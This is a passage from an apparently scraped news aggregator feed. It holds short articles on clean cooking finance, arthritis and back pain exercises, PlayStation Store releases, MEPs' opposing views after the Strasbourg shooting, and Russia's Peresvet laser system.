Even though liquefied petroleum gas is a fossil fuel, it pollutes less than wood and coal and is the most cost-effective solution in sub-Saharan Africa, where the vast majority of households lack access to clean cooking and electricity, Belopolsky said. Farming communities also offer an opportunity in the region because animal and crop waste can be converted into biogas and ethanol.

But scaling clean cooking is hamstrung by a lack of financing from wealthier countries and the private sector, similar to most climate efforts in the "global south," which faces the direst impacts of global warming but has contributed the least to the crisis. Investment has hovered around $ 130 million annually, well below the $ 4.5 billion needed, according to estimates.

Connecting clean cooking to nature could unlock more funding. About $ 133 billion flows into forest protection and restoration, sustainable land management, and other nature-based projects, with calls to triple that sum this decade. If a fraction of that was funneled into clean cooking, it could make a big impact, Belopolsky said.

The Clean Cooking Alliance has advised more developing countries to put clean cooking in their climate-action plans and says investors and corporations should consider how the transition to cleaner cooking can make their investments less risky.

"You can't tell people they can't use the natural resources around them to feed their families without providing an affordable alternative," Belopolsky said. "If we invest billions of dollars to protect or restore forests or implement regenerative agricultural practices, but communities that live around those projects don't have access to clean cooking and are collecting wood, that's counterproductive and a risk to that investment."

There are signs the message is resonating. Between 2017 and 2020, the revenue that clean-cooking companies made from selling carbon offsets grew by 21 times. In 2020, Switzerland and Peru were the first countries to strike a carbon-offset deal under the framework of the Paris climate accord, which included clean-cooking projects. Switzerland provided the finance and eventually plans to count the emissions reductions toward its climate goals.

Read the original article on Business Insider

https://i.insider.com/6310ebae3fe7c40019e4e1f9?format=jpeg

]]>
https://briefnews.eu/clean-cooking-can-help-protect-forests-and-also-combat-climate-change-by-reducing-pressure-on-woodlands-and-cutting-air-pollution/feed/ 0
Arthritis: Four hand exercises to combat arthritis pain and relieve symptoms https://briefnews.eu/arthritis-four-hand-exercises-to-combat-arthritis-pain-and-relieve-symptoms/ https://briefnews.eu/arthritis-four-hand-exercises-to-combat-arthritis-pain-and-relieve-symptoms/#respond Sat, 19 Jan 2019 21:13:50 +0000 http://briefnews.eu/arthritis-four-hand-exercises-to-combat-arthritis-pain-and-relieve-symptoms/

ARTHRITIS of the hands can be an extremely uncomfortable and debilitating condition that gets in the way of completing simple activities and tasks. Fight pain and symptoms of arthritis with these four hand exercises.

]]>
https://briefnews.eu/arthritis-four-hand-exercises-to-combat-arthritis-pain-and-relieve-symptoms/feed/ 0
PlayStation Store UPDATE: PS4 games release news as Ace Combat 7 flies in https://briefnews.eu/playstation-store-update-ps4-games-release-news-as-ace-combat-7-flies-in/ https://briefnews.eu/playstation-store-update-ps4-games-release-news-as-ace-combat-7-flies-in/#respond Wed, 09 Jan 2019 06:53:50 +0000 http://briefnews.eu/playstation-store-update-ps4-games-release-news-as-ace-combat-7-flies-in/

The PlayStation Store is getting some big updates this week, courtesy of some top third-party content.

Much of Sony’s PS4 success has been powered by exclusive games but that doesn’t mean the third-party stuff isn’t just as exciting.

January will see the release of several top games, as well as the start of pre-orders for Ace Combat 7: Skies Unknown.

Releasing on January 18 for PlayStation fans, the new combat flight simulator is now available to pre-purchase digitally.

Ace Combat 7 will include much of the same content on each platform it’s releasing on in 2018, with one big exception

PlayStation VR fans will also have access to a Virtual Reality mode, which Bandai Namco says is exclusive to the PS4 platform at launch.

Pre-purchasing Ace Combat 7: Skies Unknown from PlayStation Store will include the following incentives:

  • Ace Combat 7: Skies Unknown dynamic Theme (delivered instantly)
  • A McDonnell Douglas F-4E plane and three aircraft skins (delivered at launch)
  • Ace Combat 5: The Unsung War (full game, delivered at launch)

Fans can also purchase a deluxe edition that includes the base game and season pass, as well as acquire the digital-only incentive Lockheed F-104 Starfighter plane.

Friday, January 11, will also see a number of high profile PlayStation Store releases for PS4.

This includes Tales of Vesperia: Definitive Edition, Hitman HD Enhanced Collection, the God Eater 3 demo and the Resident Evil 2 1-shot demo.

God Eater 3 is coming in early February, while the demo will be available to play in the coming days.

The demo version is expected to be around 7GB to download and will be free to everyone who has access to the PlayStation Store.

Fans will be able to take on the role of a God Eater, collect God Arc weapons and explore new areas as you hunt down the vicious monsters known as Aragamis.

The Hitman HD Enhanced Collection includes Absolution and Blood Money, and comes with notable upgrades over the originals.

Both games can be played in 4K resolution and 60 fps, as well as improved lighting and Super-sampling.

The big releases of January include Kingdom Hearts 3 and Resident Evil 2.

And ahead of the big release date, Capcom has revealed that fans will be able to try out a Resident Evil 2 Remake demo this week.

This Friday a ‘one shot’ demo for the Resident Evil 2 Remake will be released on PS4, Xbox One and PCs.

Fans will get 30 minutes to try out the Resident Evil 2 Remake, and then that’s it – you won’t be able to play the game again until it’s full release.

So you’ll have to make your ‘one shot’ playthrough of the Resident Evil 2 Remake demo count.

Capcom went on to say: “With the living dead shuffling about and even the supposedly safe Raccoon City Police Department, or R.P.D., being overrun by terrifying monsters, nowhere feels safe anymore.

“As rookie police officer Leon S. Kennedy, you’ll be setting foot into a reimagined R.P.D. station not only to seek shelter and figure out why none of your co-workers is calling you back but also to find a way out of the nightmare that’s unfolding in front of you.”

Let’s block ads! (Why?)

]]>
https://briefnews.eu/playstation-store-update-ps4-games-release-news-as-ace-combat-7-flies-in/feed/ 0
Back pain: Four exercise tips to help combat pain in back and lower back pain in winter https://briefnews.eu/back-pain-four-exercise-tips-to-help-combat-pain-in-back-and-lower-back-pain-in-winter/ https://briefnews.eu/back-pain-four-exercise-tips-to-help-combat-pain-in-back-and-lower-back-pain-in-winter/#respond Sun, 23 Dec 2018 20:37:37 +0000 http://briefnews.eu/back-pain-four-exercise-tips-to-help-combat-pain-in-back-and-lower-back-pain-in-winter/

BACK PAIN can be worse in winter when the weather turns colder and people are less inclined to get out and exercise. Try these four expert tips to help improve pain in the back during the winter months.

]]>
https://briefnews.eu/back-pain-four-exercise-tips-to-help-combat-pain-in-back-and-lower-back-pain-in-winter/feed/ 0
Combat marginalization or expel troublemakers? MEPs offer solutions in wake of Strasbourg attack https://briefnews.eu/combat-marginalization-or-expel-troublemakers-meps-offer-solutions-in-wake-of-strasbourg-attack/ https://briefnews.eu/combat-marginalization-or-expel-troublemakers-meps-offer-solutions-in-wake-of-strasbourg-attack/#respond Thu, 13 Dec 2018 14:04:00 +0000 http://briefnews.eu/combat-marginalization-or-expel-troublemakers-meps-offer-solutions-in-wake-of-strasbourg-attack/

The Strasbourg Christmas market shooting has fanned the flames of a debate about how to keep Europe safe, with MEPs from opposite sides of the aisle providing RT with radically different views about what must be done.

The deadly attack in the northeast French city, which killed two people and left more than a dozen wounded, seems to have had a profound effect on EU parliamentarians – many of whom were present when their Strasbourg-based headquarters was put on lockdown following the shooting.

However, serious disagreement remains over how to move forward, with conflicting views on immigration, terrorism, and borders dominating the security debate.




Also on rt.com
Strasbourg shooting: Latest on Christmas market attack



Worried and angry

Greek MEP Stelios Kouloglou, a member of the European United Left-Nordic Green Left, said that his deep concern for those stuck on the streets of Strasbourg during the attack quickly turned into anger.

“We were worried about our colleagues who were outside already. But there was also anger. Anger against those cowardly people killing innocent people passing by … Killing kids, tourists, what is this? It looks like they don’t have any kind of heart or soul,” he told RT.

The left-leaning MEP said that the parliament held a minute of silence for the victims of the attack – a practice that, according to him, was becoming far too frequent due to the regularity of similar attacks across Europe.

He thinks what needs to be done is “changing policies to find the sources of terrorism and to attack the resources of terrorism.”

Hailing from the opposite end of the political spectrum, Christine Arnautu – a French MEP for right-wing National Rally, and the party’s vice president for social affairs – also noted the solidarity displayed by parliamentarians following the attack. She warned, however, that candlelight vigils won’t keep France safe.

“Everyone has showed compassion, all the deputies, because these incidents are very traumatizing. But when it comes to real solutions … it is not enough to light up candles, to cry, to say, like they do all the time, ‘je suis Charlie’, ‘je suis Strasbourg’, ‘je suis Bataclan.’ No, we are France and we want France to live in peace.”

Integration or deportation?

The suspected gunman in the attack – 29-year-old Cherif Chekatt, who was born in Strasbourg but whose family roots trace back to Morocco – has rekindled a longstanding debate in Europe over immigration and integration.

“We have to reintegrate the marginalized youth in the suburbs of Paris and Brussels and Strasbourg,” Kouloglou said. “Give them jobs. Give them hope for life. Because those are miserable, desperate people. And they end up doing such cowardly things.”

In order to create lasting security in Europe, the wars in the Middle East must be brought to an end, Kouloglou said. The Greek MEP also encouraged Europe to engage with “moderate Islam” and a stressed that stereotyping Muslims would only lead to more hate and violence.

His French colleague took a different approach, arguing that the act of “Islamic terrorism” shows that there are some who are incompatible with French values.

Arnautu urged France to expel all people currently on the country’s terror watch list, noting that Chekatt had been flagged but was still not stopped from carrying out an attack. She also accused immigrants of not being sufficiently loyal to the French state.

Having a nationality should mean something. And those people, hate France, hate our country, hate our culture, because of this there was no coincidence in the fact that it happened on a Christmas market

Ultimately, according to Arnautu, the Strasbourg attack should compel France to rethink its open borders with the rest of Europe, which has allowed for a “free circulation of people” resulting in “criminals” entering the country.

“It was said that this attacker has previously been in Germany or elsewhere. He might be crossing borders now. Every time we have such a tragedy, we get back to the topic of border control. For example tonight I believe the Franco-German border is controlled, but it’s too late.”

Clash of ideologies

Both parliamentarians believe something must be done to prevent further attacks on European soil – but a clash of ideologies may serve as a serious hurdle to comprehensive action that can be agreed upon.

“The right and the extreme right are trying to blame the refugees for the terrorist attacks,” Kouloglou said, adding that in reality, “almost all” such attacks are carried out by people holding European passports.

Returning to the issue of integration, the Greek MEP noted: “We don’t have to blame refugees or immigrants. We have to blame ourselves.”

He said that painting Islam and refugees with such a wide brush would only lead to more tragedy.

[The right] try to blame Islam as a whole and now refugees and immigrants. This is not solving the problem. You create more enemies, you create enemies among the refugees.

Arnautu, on the other hand, blamed Europe’s left-leaning and liberal parties for the continent’s security problems.

“There are ideologists, who, despite all the tragedy, the deaths we’ve been witnessing for the past six years, keep saying that we should be tolerant, we should live together,” she said.

“No, we don’t want to live together with them. And I think we will see a lot of bad things if we stay in this EU, instead of protecting our sovereignty.”

Like this story? Share it with a friend!

Let’s block ads! (Why?)

]]>
https://briefnews.eu/combat-marginalization-or-expel-troublemakers-meps-offer-solutions-in-wake-of-strasbourg-attack/feed/ 0
WATCH Peresvet combat laser system enter test duty in Russia (VIDEO) https://briefnews.eu/watch-peresvet-combat-laser-system-enter-test-duty-in-russia-video/ https://briefnews.eu/watch-peresvet-combat-laser-system-enter-test-duty-in-russia-video/#respond Wed, 05 Dec 2018 10:53:36 +0000 http://briefnews.eu/watch-peresvet-combat-laser-system-enter-test-duty-in-russia-video/

The Russian military have released stunning footage of Peresvet combat laser systems entering test service, shedding a bit more light on the cutting-edge weapon.

A short one-minute video shows the laser system “getting on test duty” outside Teikovo, a town west of Moscow. The system slowly comes out of a hangar and ejects a barrel-shape device, presumably a laser lens.

The camera then quickly films Peresvet’s control room and an operator handling the system by remote control.

The Defense Ministry said crews had undergone rigorous training to ensure the sophisticated system is manned properly during deployment.

Although Peresvet was presented to the public by President Vladimir Putin earlier this year, little is verifiably known about the secretive weapon. Experts divided on the exact purpose of the laser, wondering if it is a powerful jamming device or a system able to engage airborne targets.

READ MORE: Meet Poseidon & Peresvet: Russia’s MoD site comes under DDoS during final vote on names for new arms

In July this year, the Russian military released another video of the combat laser, featuring at least two truck-mounted systems, accompanied by several command and support vehicles.

During a speech to the Federal Assembly on March 1, Putin revealed a wide range of brand new weapons systems, including the combat laser system. The Russian President asked the public to suggest and vote for the names of those weapon systems.

The state of the art combat laser received its name in honor of Peresvet, a famous warrior monk who fought at the 1380 Battle of Kulikovo which ended the Mongol domination of Medieval Russia.

Think your friends would be interested? Share this story!

Let’s block ads! (Why?)

]]>
https://briefnews.eu/watch-peresvet-combat-laser-system-enter-test-duty-in-russia-video/feed/ 0